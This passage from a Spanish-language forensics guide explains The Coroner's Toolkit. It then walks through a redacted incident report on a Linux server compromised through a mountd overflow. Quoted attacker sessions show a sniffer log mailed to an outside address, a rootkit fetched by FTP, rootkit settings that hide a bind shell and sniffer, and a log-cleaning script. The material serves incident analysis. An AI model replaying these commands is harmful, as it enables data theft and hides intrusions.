bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

